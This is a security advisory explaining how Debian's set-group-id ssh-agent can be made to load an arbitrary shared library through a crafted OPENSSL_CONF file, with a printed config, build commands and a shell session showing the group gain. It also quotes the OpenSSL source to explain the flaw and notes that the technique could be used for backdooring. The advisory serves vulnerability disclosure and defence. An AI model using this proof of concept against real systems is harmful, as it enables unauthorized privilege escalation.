On Debian, ssh-agent is a set-group-id binary with a nice feature to gain access to that group and execute arbitrary code via included openssl library. Usually that would be quite a bad security vulnerability, but at least for ssh-agent, this is just a funny bug or unexpected behaviour. According to man-pages:
ssh-agent is a program to hold private keys used for public key authentication (RSA, DSA, ECDSA, Ed25519). ssh-agent is usually started in the beginning of an X-session or a login session, and all other windows or programs are started as clients to the ssh-agent program. Through use of environment variables the agent can be located and automatically used for authentication when logging in to other machines using ssh(1).
The reason for ssh-agent being a SGID binary is also given in the man pages:
In Debian, ssh-agent is installed with the set-group-id bit set, to prevent ptrace(2) attacks retrieving private key material....
As ssh-agent is handling private key material, it uses the libcrypto.so from libssl package for cryptography related operations. To support integration of non-standard ciphers or cryptohardware, openssl is very flexible regarding its configuration. From the openssl (1) man page:
Many commands use an external configuration file for some or all of their arguments and have a -config option to specify that file. The environment variable OPENSSL_CONF can be used to specify the location of the file. If the environment variable is not specified, then the file is named openssl.cnf in the default certificate storage area ...
Most interesting feature of the configuration is, that it supports loading of shared libraries from non-standard locations using the dynamic_path configuration setting.
To elevate privileges, make ssh-agent use a crafted openssl configuration via the OPENSSL_CONF environment variable and let it point to a file containing library loading instructions, e.g. load.conf:
# See https://www.halfdog.net/Security/2017/SshAgentGainGroupPrivileges/ # Copyright (c) 2017 halfdog <me (%) halfdog.net> openssl_conf = openssl_def [openssl_def] engines = engine_section [engine_section] pkcs11 = pkcs11_section [pkcs11_section] engine_id = pkcs11 dynamic_path = /tmp/engine.so default_algorithms = ALL init = 1
The engine.so is a standard shared object, that will be loaded using dlopen when the SSL engine is initialized. engine.c will just change gid to egid and run /bin/sh.
$ gcc -Wall -fPIC -c engine.c $ id uid=1000(test) gid=100(users) groups=100(users) $ ld -shared -Bdynamic engine.o -L/lib -lc -o engine.so $ cp engine.so load.conf /tmp $ OPENSSL_CONF=/tmp/load.conf /usr/bin/ssh-agent TestLib.c: Within _init Process uid/gid at load: 1000/1000/1000 100/100/112 Process uid/gid after change: 1000/1000/1000 112/112/112 $ id uid=1000(test) gid=112(ssh) groups=112(ssh),100(users)
Openssl openssl-1.1.0 contains some code intended to protect against such attacks, see crypto/uid.c:
int OPENSSL_issetugid(void) { if (getuid() != geteuid()) return 1; if (getgid() != getegid()) return 1; return 0; }
But this code is only active to disallow gaining randomness from weak sources in SUID-binaries, see crypto/rand/randfile.c:
if (OPENSSL_issetugid() != 0) { use_randfile = 0; } else { s = getenv("RANDFILE"); if (s == NULL || *s == '\0') { use_randfile = 0; s = getenv("HOME"); } }
In char *CONF_get1_default_config_file(void) plain getenv() is used:
char *CONF_get1_default_config_file(void) { char *file; int len; file = getenv("OPENSSL_CONF"); if (file) return OPENSSL_strdup(file); ...
Here the impact is very limited: the SGID binary is just here to avoid ptracing for key extraction. With standard settings, even after gaining access to the group, the process will still not be able to read the memory content of an running ssh-agent.
The binary /usr/lib/openssh/ssh-keysign is a SUID binary, but does not access the configuration environment variable, thus no local-root-privilege escalation is possible. The reason for that is not fully analyzed yet.
The openssl engine loading allows to inject arbitrary libraries during SSL engine initialization and therefore might come in handy bypassing security restrictions in general or to backdoor security software in specific.
At the moment, it is not known, if other SSL libraries have copied the environment-configuration pattern or have similar vulnerabilities not related to code duplication. At the moment one implementation is already confirmed to have anticipated the risks of environment variable use beforehand.
Not affected:
Theo de Raadt also pointed out:
I think older versions of openssl didn't inspect that environment
variable during a constructor, but only in active code. So
applications could clean the environment space themselves.
I'm wondering if some systems run with openssl which doesn't take
the constructor approach...
Maybe this is related to the reason why ssh-agent is affected but ssh-keysign is not.
Last modified 20171228
Contact e-mail: me (%) halfdog.net